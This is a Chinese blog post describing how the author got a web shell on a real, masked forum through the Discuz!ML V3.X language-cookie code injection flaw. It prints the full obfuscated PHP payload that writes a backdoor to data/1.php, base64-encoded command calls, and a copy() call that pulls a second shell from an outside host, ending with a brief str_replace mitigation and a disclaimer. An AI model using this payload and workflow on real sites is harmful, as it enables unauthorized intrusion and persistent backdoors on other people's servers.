某论坛getshell

admin 2020年9月4日11:30:50评论398 views字数 1148阅读3分49秒阅读模式



点击蓝字 ·  关注我们


01


前言


此次shell利用了Discuz!ML V3.X 代码注入漏洞

在19年7月11日,Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。


02


漏洞URL


漏洞url:http://www.xxxx.net.cn

03


漏洞复现


某论坛getshell



0x01  payload

'.assert(system(urldecode('echo"<?php @$pi=base_convert%3b$pi=$pi(53179,10,36)^$pi(1109136,10,36)%3b${$pi}{0}(base64_decode(${$pi}{1}))%3b?>" > .%252fdata%252f1.php'))).'
将payload进行两次urldecode解码则为

某论坛getshell




0x02

直接在tSWa_2132_language参数后面添加payload,发送请求,通过回发现请求成功。

某论坛getshell



0x03

测试1.php文件是否写入,将你想执行的命令进行base64编码。

某论坛getshell



0x04

访问http://www.xxxxxx.cn/data/1.php?0=assert&1=c3lzdGVtKCdscycp

某论坛getshell

回显成功,则1.php写入成功



0x05

通过写入的php文件执行copy("http://xxxxx:8088/1.txt","test.php")将该命令进行base64编码

某论坛getshell


访问
http://www.xxxxxx.cn/data/1.php?0=assert&1=Y29weSgiaHR0cDovLzIwxxxxxxxxxxMDg4LzEudHh0IiwidGVzdC5waHAiKQ==
之后会在data目录下创建一个test.php文件,接着我们访问该文件



某论坛getshell


0x06

访问:http://www.xxxx.net.cn/data/test.php
密码:admin

某论坛getshell

发现我们已经getshell成功

04


修复建议


单看语言这个点:

在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:

$lng = str_replace("(","",$lng);$lng = str_replace(")","",$lng);$lng = str_replace("'","",$lng);$lng = str_replace('"',"",$lng);$lng = str_replace('`',"",$lng);

PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。


EDI安全

某论坛getshell

扫二维码|关注我们


一个专注渗透实战经验分享的公众号

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年9月4日11:30:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某论坛getshellhttp://cn-sec.com/archives/118562.html

发表评论

匿名网友 填写信息